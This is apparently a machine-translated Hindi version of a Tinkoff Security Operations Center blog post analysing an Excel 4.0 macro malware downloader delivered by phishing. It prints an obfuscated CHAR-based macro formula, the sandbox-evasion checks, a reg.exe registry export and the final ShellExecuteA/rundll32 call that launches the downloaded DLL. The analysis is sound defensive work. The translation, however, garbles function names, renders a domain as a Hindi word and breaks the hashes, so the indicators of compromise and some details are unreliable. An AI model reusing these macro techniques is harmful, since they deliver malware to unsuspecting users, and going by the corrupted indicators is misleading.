🥤 🤙🏽 👨🏻‍🎨 हर दिन जीवन टिंकऑफ़ सुरक्षा संचालन केंद्र: एकल बूटलोडर विश्लेषण 👩🏼‍🤝‍👨🏾 🤱🏽 👉

हेलो, हेब्र!

हमारे टिंकफॉफ सिक्योरिटी ऑपरेशन सेंटर में, हम नियमित रूप से मैलवेयर और हमलों में इस्तेमाल की जाने वाली तकनीकों का विश्लेषण करते हैं, और हाल ही में एक दिलचस्प फाइल आई है जिसके बारे में हम बात करना चाहेंगे।

इस कृति को बनाने के लिए जिस तकनीक का इस्तेमाल किया गया था, वह 20 वर्षों से अधिक जानी जाती है, लेकिन दशकों बाद भी यह प्रासंगिक बनी हुई है, क्योंकि मैक्रो में कुछ चेक के कॉल संदिग्ध नहीं हैं और इसका उपयोग वैध दस्तावेजों में किया जा सकता है। यह एक मैलवेयर डाउनलोडर है जिसे एक्सेल 4.0 मैक्रोज़ में लिखा गया है।

उपकरण

विश्लेषण के भाग के रूप में, हम एक मानक सेट के साथ थर्ड-पार्टी टूल्स का उपयोग न्यूनतम और प्राप्त करने के लिए करेंगे:

माइक्रोसॉफ्ट ऑफिस सुइट
archiver;
पाठ संपादक;
सॉफ़्टवेयर क्रियाओं के विश्लेषण के लिए एक उपकरण के रूप में, हम Sysmon का उपयोग करेंगे;
विश्लेषण के लिए एक वातावरण के रूप में, हम बोर्ड पर विंडोज 7 के साथ एक वीएम का उपयोग करेंगे

Mnogabukaf

हम जिस दस्तावेज़ को पार्स करने जा रहे हैं, वह xls प्रारूप में एक एक्सेल वर्कबुक है। मैलवेयर फ़िशिंग ईमेल में दिया जाता है, जब दस्तावेज़ शुरू होता है, तो मैक्रो रजिस्ट्री शाखा को उतारता है, Microsoft वेबसाइट से कार्यालय अपडेट के बारे में जानकारी डाउनलोड करता है, और दुर्भावनापूर्ण .dll को डाउनलोड और लॉन्च भी करता है। इन चरणों के बाद, पुस्तक परिवर्तनों को सहेजे बिना बंद हो जाती है।

इस प्रकार के अन्य लोडरों से मुख्य अंतर यह है कि इसमें VBA मैक्रोज़ का उपयोग नहीं किया गया है।

स्थैतिक विश्लेषण

निम्नलिखित एक दुर्भावनापूर्ण दस्तावेज़ वाले ईमेल का एक उदाहरण है।

हमारे वर्चुअल मशीन में अटैचमेंट खोलें।

आपको तुरंत ध्यान देना चाहिए: चित्र चेतावनी देता है कि दस्तावेज़ "संरक्षित" है और यह स्थानीय रूप से इसे खोलने और "सक्षम सामग्री" पर क्लिक करने के लायक है:

एक सुरक्षा चेतावनी संकेत देती है कि आपको Visual Basic Editor में परियोजनाओं को देखने की आवश्यकता है।

हम डेवलपर - मैक्रो प्रबंधन (vbs) की ओर मुड़ते हैं, लेकिन हमें कोई vbs या vba मैक्रो नहीं दिखता है:

यहां यह याद रखने का समय है कि कार्यालय के दस्तावेज क्या हैं।

प्रत्येक Microsoft Office दस्तावेज़ एक संग्रह है जिसे दस्तावेज़ की सामग्री को निकालते हुए किसी भी संग्रहकर्ता का उपयोग करके अनज़िप किया जा सकता है:

अनपैक करने के बाद, हम देखते हैं कि दस्तावेजों के अंदर कोई xml फाइलें नहीं हैं जिन्हें हम देखने के लिए उपयोग करते हैं, बात पुराने दस्तावेज़ प्रारूप में है - xls।

Xls एक्सटेंशन में, सामग्री Office Open XML प्रारूप में संग्रहीत नहीं है, लेकिन BIFF8 बाइनरी प्रारूप में। दस्तावेज़ Excel 4.0 मैक्रो का उपयोग करता है, जहां मैक्रोज़ को दस्तावेज़ कक्षों में निष्पादित किया जा सकता है।

यह ध्यान देने योग्य है कि मैक्रो के साथ शीट छिपी नहीं है, लेकिन शीट में बड़ी संख्या में खाली कोशिकाएं हैं, जो विश्लेषण को मुश्किल बनाती हैं।

BIFF8 फ़ाइलों के विश्लेषण के लिए उपकरण हैं, उदाहरण के लिए BiffViewer, और सामग्री का विश्लेषण करने के लिए एक महान उपकरण है - ओलेट्स। लेकिन हम तृतीय-पक्ष उपयोगिताओं का उपयोग किए बिना करने का प्रयास करेंगे।

एक्सेल में एक xml आधारित प्रारूप भी है - xlsm, आप VBA मैक्रो कोड और एक्सेल 4.0 मैक्रो शीट को इसमें सहेज सकते हैं, जो हम करेंगे।
एक्सेल के लिए उपलब्ध प्रारूपों की पूरी सूची एक्सेल प्रारूप है ।

हम अपने दस्तावेज़ को सहेजते हैं, इसे अनज़िप करते हैं:

चलो देखते हैं कि फाइलों में क्या है, xl फ़ोल्डर में मैक्रोशीट निर्देशिका से शुरू करें और मैक्रो शीट पर सभी डेटा के साथ फ़ाइल ढूंढें:

इस प्रकार, हम मैक्रो शीट पर कोशिकाओं में सभी मान प्राप्त करते हैं। मैक्रो अपने आप में अस्पष्ट है, कोशिकाओं में केवल संख्यात्मक मान और सूत्र होते हैं जो इन मूल्यों को परिवर्तित करते हैं और परिणाम को नई कोशिकाओं में लिखते हैं।

उदाहरण के लिए, इस सूत्र में, संख्यात्मक मान वर्णों में परिवर्तित किए जाते हैं, संक्षिप्त और सेल FK17653 को लिखे जाते हैं।

एक्सेल में सूत्र

FORMULA.FILL(CHAR(CV63675+HE4018)&CHAR(DG27830+HE26544)&CHAR(IA33205-EW25294)&CHAR(X1216+BA26751)&CHAR(X1216*ER27642)&CHAR(EC50683*IA4491)&CHAR(CV63675*CQ12674)&CHAR(CV63675-IP35389)&CHAR(DL61540+AP31398)&CHAR(GB59870-IB5677)&CHAR(X1216+DS45768)&CHAR(GB59870+FV60781)&CHAR(AA45534*S4000)&CHAR(CV63675*FK10514)&CHAR(EC50683/GD6905)&CHAR(GB59870+EM58732)&CHAR(HQ31358-GI51882)&CHAR(X1216+FX24913)&CHAR(DL61540*EC63501)&CHAR(HQ31358-IC62223)&CHAR(X1216*BY50777)&CHAR(X1216*FY64649)&CHAR(G64471+DW7092)&CHAR(HQ31358-B26139)&CHAR(HQ31358/I494)&CHAR(G64471*DG37241)&CHAR(DL61540-ES39934)&CHAR(X1216+BX48975),FK17653)

सूत्र के परिणामस्वरूप, हमें निम्न पंक्ति मिलती है:

प्रत्येक बाद की मैक्रो कमांड एक समान सूत्र द्वारा "एकत्र" की जाती है, जिसे सेल में लिखा जाता है, और फिर निष्पादित किया जाता है।

दस्तावेज़ को खोले जाने पर मैक्रो स्वचालित रूप से चलने के लिए, जिस सेल से स्क्रिप्ट लॉन्च की जानी चाहिए, उसे Auto_Open कहा जाना चाहिए। कार्यपुस्तिका पर विचार करें। xml फ़ाइल:

workbook.xml

<?xml version=«1.0» encoding=«UTF-8» standalone=«yes»?>
<workbook xmlns=«schemas.openxmlformats.org/spreadsheetml/2006/main» xmlns:r=«schemas.openxmlformats.org/officeDocument/2006/relationships» xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006» mc:Ignorable=«x15» xmlns:x15=«schemas.microsoft.com/office/spreadsheetml/2010/11/main»> appName=«xl» lastEdited=«6» lowestEdited=«6» rupBuild=«14420»/><workbookPr/><mc:AlternateContent xmlns:mc=«schemas.openxmlformats.org/markup-compatibility/2006»> Requires=«x15»><x15ac:absPath url=«C:\Users\User\Desktop\malware\» xmlns:x15ac=«schemas.microsoft.com/office/spreadsheetml/2010/11/ac»/></mc:Choice></mc:AlternateContent>/><sheet name=«Sheet1» sheetId=«1» r:id=«rId1»/><sheet name=«Sheet2» sheetId=«2» r:id=«rId2»/>Sheet2!$IE$65406/>/>/>

फ़ाइल के अंदर हम लाइन का नाम = "_ xlnm.Auto_OpenT8nee" छिपाते हैं = "> 1> शीट 2! $ IE $ 65406
इसका मतलब यह है कि सेल जिसके साथ मैक्रो चलाया जाता है, IE65406, छिपा हुआ है। अब हम मैक्रो के प्रवेश बिंदु को जानते हैं।

गतिशील विश्लेषण

कभी भी अपनी मशीन पर संदिग्ध फाइलें न चलाएं। संदिग्ध सॉफ़्टवेयर की क्रियाओं का अध्ययन करने के लिए, विशेष रूप से तैयार वातावरण का उपयोग करना आवश्यक है: विभिन्न सैंडबॉक्स या एक विशेष रूप से तैयार पृथक मशीन - आभासी या लोहा।

दस्तावेज़ खोलें और सामग्री चलाएँ। कमांड प्रॉम्प्ट विंडो चमकती है और पुस्तक बंद हो जाती है।
आइए देखते हैं Sysmon लॉग।

Sysmon की एक प्रक्रिया निर्माण घटना (id 1) है, Sysmon के बारे में अधिक जानकारी यहां पाई जा सकती है ।

लॉग द्वारा, हम देखते हैं कि मैक्रो डायरेक्टरी में फ़ाइलें बनाता है c: \

Users \ public निम्नलिखित sysmon संदेश है, जो दिखाता है कि रजिस्ट्री शाखा अनलोड है और परिणाम फाइल में लिखा है:

Sysmon इवेंट इवेंट ID 1

sysmon event id 1
Process Create:
RuleName: technique_id=T1112,technique_name=Modify Registry
ProcessGuid: {2a62482c-b244-5ecf-3a00-000000002700}
ProcessId: 3268
Image: C:\Windows\System32\reg.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: Registry Console Tool
Product: Microsoft Windows Operating System
Company: Microsoft Corporation
OriginalFileName: reg.exe
CommandLine: «C:\Windows\system32\reg.exe» EXPORT HKCU\Software\Microsoft\Office\16.0\Excel\Security C:\Users\Public\IcItdXw.reg /y"
CurrentDirectory: C:\Users\user\Documents\
User: user
LogonGuid: {2a62482c-b1d8-5ecf-3284-010000000000}
LogonId: 0x18432
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA1=8BD131B03D6BA865B228CA8EE3239D2EF2B90B74,MD5=D69A9ABBB0D795F21995C2F48C1EB560,SHA256=36414C7E57AFA6136D77FD47F4C55102E35F2475FBCD719728DA7D14B1590E2A,IMPHASH=BC564726CFF18A49EBC14784593A51CA
ParentProcessGuid: {2a62482c-b23f-5ecf-3900-000000002700}
ParentProcessId: 3164
ParentImage: C:\Program Files\Microsoft Office\Office16\EXCEL.EXE
ParentCommandLine: «C:\Program Files\Microsoft Office\Office16\EXCEL.EXE»

पूरा होने पर, मैक्रो निर्मित फ़ाइलों को हटा देता है।

फ़ाइलों को हटाने पर रोक लगाने के लिए, फ़ोल्डर पर अनुमतियों को बदलें, पढ़ने और लिखने की अनुमति को छोड़ दें और हटाए जाने को प्रतिबंधित करें:

दस्तावेज़ को फिर से चलाएँ, हमें मैक्रो के निष्पादन के दौरान एक त्रुटि प्राप्त होगी, जो हमें इसे डीबग करने में सक्षम करेगी।

यह संभव है क्योंकि कुछ कॉल में कोई अपवाद हैंडलिंग नहीं है।

चलिए मैक्रो स्टेप-बाय-स्टेप चलाते हैं, डिबग के दौरान, हम dll पुस्तकालयों, जैसे ShellExecute और URLDownloadToFile से फ़ंक्शन कॉल का सामना करते हैं । मैक्रो के पूरा होने पर, निम्न फ़ाइलें साझा किए गए उपयोगकर्ता फ़ोल्डर में होंगी:

चूँकि हम जानते हैं कि किस सेल से निष्पादन शुरू होता है, हम सभी कोशिकाओं को मैक्रो शीट में भर सकते हैं। आइए मैक्रो को बंद करें (झूठे) फ़ंक्शन पर जाएं, जहां हम "पॉज़" बटन पर क्लिक करके निष्पादन को बाधित करेंगे।

पर्यावरण जांच कोशिकाएं

कोशिकाओं के माध्यम से देखते हुए कि मैक्रो भर जाता है, हम कई कार्यों में आते हैं get.window () और get.workspace ()।

Get.window () फ़ंक्शन वर्तमान विंडो के बारे में जानकारी देता है: स्थिति, विंडो स्थिति, उसका नाम, प्रदर्शन विकल्प, आदि।
Get.workspace () फ़ंक्शन आपको उस वातावरण के बारे में जानकारी प्राप्त करने की अनुमति देता है जिसमें दस्तावेज़ चल रहा है।

Excel 4.0 पर उपलब्ध कॉल की पूरी सूची लिंक में देखी जा सकती है।

यहां हमें और अधिक विस्तार से जानकारी देने की आवश्यकता है: मेरे सहयोगी और मैंने सुझाव दिया कि इनमें से अधिकांश कॉल सैंडबॉक्स को बायपास करने के प्रयासों से संबंधित हैं:

get.winow (7) - जाँच करता है कि क्या वर्तमान विंडो छिपी हुई है। सच्चा या झूठा लौटाता है।
get.windows (20) - विंडो अधिकतम होने पर सही रिटर्न देता है।
get.windows (23) - मान 1, 2 और 3 वापस कर सकते हैं।

1 - बहाल
2 - कम से कम
3 - अधिकतम

, इस प्रकार, यह देखने के लिए जांचता है कि क्या वर्तमान विंडो खुली है:

get.workspace (31) - यह देखने के लिए जांचें कि क्या मैक्रो को चरणों में डीबग किया जा रहा है।
get.workspace (13) - पिक्सेल में कार्यक्षेत्र की चौड़ाई की जाँच करें: यदि 770 से कम है, तो पुस्तक

get.workspace (14) को बंद कर देगी - पिक्सेल में कार्यक्षेत्र की ऊँचाई की जाँच करें: यदि 390 से कम है, तो पुस्तक

getworkवर्क (19) को बंद कर देगी - जाँच करें एक माउस की उपस्थिति।
get.workspace (1) - वह दस्तावेज़ जो ऑपरेटिंग सिस्टम में चल रहा है, लौटाता है।
असत्य के मामले में, प्रत्येक चेक में परिणाम को सहेजे बिना पुस्तक समापन सेल में संक्रमण होता है।

बाहरी पुस्तकालय कॉल

पर्यावरण की जांच करने के बाद, हम मुख्य कार्यक्षमता की ओर बढ़ते हैं। आइए देखते हैं कि मैक्रो से WinAPI फ़ंक्शन कैसे कहे जाते हैं:

1. रेग। Ex कॉल, जिसे हमने Sysmon लॉग में देखा था।

उपयोगिता को कॉल करने के लिए, Shell32ecll लाइब्रेरी से ShellExecute फ़ंक्शन का उपयोग किया जाता है, फ़ंक्शन के पैरामीटर अन्य कोशिकाओं में बिखरे हुए हैं।

सेल BN16631:

सेल A46097:

सेल GN47559 में, आवश्यक रजिस्ट्री शाखा को निर्यात करने के लिए आदेश भेजा जाता है, Get.workspace (2) Excel का संस्करण लौटाता है।

सेल DX48821 में वह पथ होता है जहाँ परिणाम लिखा जाता है।

मैक्रो में आगे बनाई गई IcltdXw.reg फ़ाइल और उसके विलोपन के अस्तित्व की जांच है।

2. URLDownloadToFile फ़ंक्शन को कॉल करना। यह फ़ंक्शन किसी फ़ाइल के लिए अनुरोध प्राप्त करने का परिणाम बचाता है।
कॉल इस प्रकार है:

यह कॉल हमें Microsoft वेबसाइट की ओर ले जाती है, पृष्ठ पर कार्यालय अद्यतन के बारे में जानकारी के साथ।

फ़ंक्शन पैरामीटर:

सेल BR6547

सेल IN49847

निर्देश को निष्पादित करने के बाद, यह जाँच की जाती है कि क्या फ़ाइल बनाई गई थी, और फ़ाइल में ऑफसेट द्वारा चरित्र को पढ़ना भी है:

सबसे अधिक संभावना है, इन कार्यों का उद्देश्य यह जांचना है कि दस्तावेज़ चल रहा है या नहीं, जहां इंटरनेट चल रहा है।

सूत्र में, FILES फ़ंक्शन को iserror में पास कर दिया जाता है और तर्क उस फ़ाइल का नाम होता है जहां URLDownloadToFile फ़ंक्शन का परिणाम लिखा जाना चाहिए:

सेल FM27223 पुस्तक समापन समारोह को नियंत्रण देगा:

Microsoft से फ़ाइल की सफल प्राप्ति पर, urlmon dll को दूसरी कॉल के लिए तैयार करने के लिए कोशिकाओं को भरा जाता है।

पेलोड लोडिंग

और यहाँ दूसरी कॉल है, लेकिन देहाबादी [।] इर डोमेन पर, जहाँ से दुर्भावनापूर्ण लोड किया जाना चाहिए:

परिणाम HTML एक्सटेंशन के साथ एक ही फ़ोल्डर में एक फाइल को लिखा जाता है:

अगला, हम मैक्रो कोड में एक शाखा के पार आते हैं, यदि पेलोड डाउनलोड करने के पहले प्रयास पर, विफल, एक दूसरा प्रयास किया जाएगा, लेकिन एक अलग पते से।

यदि डाउनलोड सफल होता है, तो एक चेतावनी पॉप-अप दिखाई देगी और भरी हुई लाइब्रेरी को बुलाया जाएगा।

पूर्ण कॉल इस प्रकार है:

=CALL("shell32","ShellExecuteA","JJCCJJ",0,"open","c:\windows\systemc32\rundll32.exe","c:\users\public\4hcFC.html,DllRegisterServer",0,5)

एक पूर्ण कॉल में, ShellExecuteA फ़ंक्शन को शेल 32 लाइब्रेरी से rundll32 लॉन्च करने के लिए मापदंडों के साथ कहा जाता है, जिसके साथ डाउनलोड किए गए दुर्भावनापूर्ण लाइब्रेरी के निर्यात समारोह को कहा जाता है।

यह मैक्रो फ़ंक्शन को पूरा करता है, पेलोड ऊपर और चल रहा है।

निष्कर्ष

जैसा कि कहा गया था, प्रौद्योगिकी काफी पुरानी है ( विंडोज 3.0 और 3.1 के लिए एक्सेल 4.0 ), लेकिन यह पूरी तरह से कार्यक्षमता प्रदान करता है जिसे मैलवेयर को अपने लक्ष्यों को प्राप्त करने की आवश्यकता होती है। और इस फ़ाइल का उद्देश्य सिस्टम में खतरनाक सॉफ़्टवेयर को चुपचाप डालना है, जिससे गंभीर नुकसान हो सकता है, व्यक्तिगत डेटा की चोरी, सिस्टम के लिए प्राधिकरण डेटा, कंप्यूटर पर डेटा भ्रष्टाचार / एन्क्रिप्शन के साथ समाप्त होने और दूर से कोड निष्पादित करने की क्षमता।

इस तरह के दस्तावेजों के विश्लेषण के लिए किसी भी विशेष उपयोगिताओं और सॉफ्टवेयर का उपयोग करना बिल्कुल भी आवश्यक नहीं है, हालांकि, यह ओटोलिस स्क्रिप्ट के एक सेट का उल्लेख करने योग्य है - अधिक विवरण यहां पाया जा सकता है । हम यहां समाप्त हो जाएंगे, नीचे विश्लेषण के परिणामस्वरूप पहचान किए गए समझौते के संकेतक हैं।

प्राप्त IOC:

evans [।] williamdmon [@] wp [।] pl
ग्यारहवाँ [।] com
dehabadi [।] ir
hxxps: //eleventalents.com/wp-keys.php
hxxps: //defadi.ir/wp-keys.php
de88d3774ae006d96121d9fef9fef
a73d1214740330013773cd733b0daf206eae2e03
ba4adb640f777ad9b0881919e9bd1e171e64025d97h37fd585295ab611653419

समझौता करने के संकेतकों की पूरी सूची।

संदर्भ:

मैक्रो संदर्भ 4.0

विश्लेषण पर काम किया:

फ्रोलोव इल्या
कोलेंचुक अलेक्सी

हर दिन जीवन टिंकऑफ़ सुरक्षा संचालन केंद्र: एकल बूटलोडर विश्लेषण